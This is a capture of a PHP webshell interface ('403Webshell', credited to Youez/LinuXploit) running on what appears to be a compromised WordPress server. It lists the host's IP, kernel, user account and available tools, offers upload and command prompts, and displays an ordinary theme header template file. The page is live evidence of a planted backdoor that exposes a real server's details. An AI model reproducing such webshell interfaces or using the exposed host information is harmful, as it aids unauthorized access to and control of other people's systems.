403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/template-parts/header/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/template-parts/header/header-default.php
<?php
$omexo_option       = get_option('omexo_opt');
$enable_sticky_menu = omexo_array_get($omexo_option, 'sticky-header') ? $omexo_option['sticky-header'] : '';

if($enable_sticky_menu == true ){
    $enable_sticky_menu = 'enable-sticky';
}else{
    $enable_sticky_menu = '';
}

$header_email        = omexo_array_get($omexo_option, 'header-email') ? $omexo_option['header-email'] : '';
$header_phone        = omexo_array_get($omexo_option, 'header-contact-number') ? $omexo_option['header-contact-number'] : '';
$header_email_icon   = omexo_array_get($omexo_option, 'header-email-icon') ? $omexo_option['header-email-icon'] : '';
$header_phone_icon   = omexo_array_get($omexo_option, 'header-contact-icon') ? $omexo_option['header-contact-icon'] : '';
$header_social_icons = omexo_array_get($omexo_option, 'header-social-icons') ? $omexo_option['header-social-icons'] : '';
$header_cart         = omexo_array_get($omexo_option, 'header-cart') ? $omexo_option['header-cart'] : '';
$header_top          = omexo_array_get($omexo_option, 'header-top') ? $omexo_option['header-top'] : '';
$header_search       = omexo_array_get($omexo_option, 'header-search') ? $omexo_option['header-search'] : '';
$header_log_reg_btn  = omexo_array_get($omexo_option, 'header-log-reg-btn') ? $omexo_option['header-log-reg-btn'] : '';
$login_title         = omexo_array_get($omexo_option, 'login-title') ? $omexo_option['login-title'] : '';
$login_url           = omexo_array_get($omexo_option, 'login-url') ? $omexo_option['login-url'] : '';
$registration_title  = omexo_array_get($omexo_option, 'register-title') ? $omexo_option['register-title'] : '';
$registration_url    = omexo_array_get($omexo_option, 'register-url') ? $omexo_option['register-url'] : '';

?>

<!-- start header bottom area -->
<div class="header-btm-area">
    <div class="header-sticky-menu <?php echo esc_attr($enable_sticky_menu); ?>">
        <div class="container">
            <div class="main-menu-area default">
                <div class="site-branding">
                    <?php
                    if(has_custom_logo()){
                        the_custom_logo();
                    }else{

                    $header_logo = omexo_array_get($omexo_option, 'header-logo') ? $omexo_option['header-logo'] : '';
                    if($header_logo){?>
                    <a href="<?php echo esc_url( home_url( '/' ) ); ?>">
                        <img src="<?php echo esc_url($header_logo['url']); ?>"
                            alt="<?php esc_attr(bloginfo( 'name' )); ?>">
                    </a>
                    <?php }else{ ?>
                    <h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"
                            rel="home"><?php bloginfo( 'name' ); ?></a></h1>
                    <?php }
                    }
                    ?>
                </div>
                
                <?php if ( has_nav_menu( 'main-menu' ) ) : ?>
                <div class="main-menu text-right default">
                    <nav id="site-navigation" class="main-navigation navigation no-list-style text-right">
                        <?php
                            wp_nav_menu( array(
                                'theme_location' => 'main-menu',
                                'menu_id'        => 'primary-menu',
                            ) );
                            ?>
                    </nav><!-- #site-navigation -->
                </div>
                <div id="mobile-menu-wrap"></div>
                <?php endif ?>
            </div>
        </div>
    </div>
</div>
<!-- end header bottom area -->

Youez - 2016 - github.com/yon3zu
LinuXploit